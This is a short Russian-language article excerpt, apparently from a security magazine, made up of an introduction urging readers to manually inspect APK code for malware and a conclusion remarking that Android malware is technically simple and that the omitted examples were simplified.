Некоторые пользователи считают, что если скачивать приложения исключительно из Google Play и установить на смартфон антивирус, то это стопроцентно гарантирует безопасность. Не стоит обольщаться: в Сети регулярно появляются сообщения о нахождении малвари в официальном маркете. А количество вновь появившихся зловредных программ измеряется сотнями тысяч в месяц, что затрудняет их своевременное попадание в базы антивирусных программ. Реальную гарантию безопасности может дать ручной просмотр кода APK-файла перед установкой его на телефон. Не нужно быть гуру кодинга, чтобы заметить вредоносные фрагменты. А наша статья поможет тебе в этом.

Заключение

Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала - прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 🙂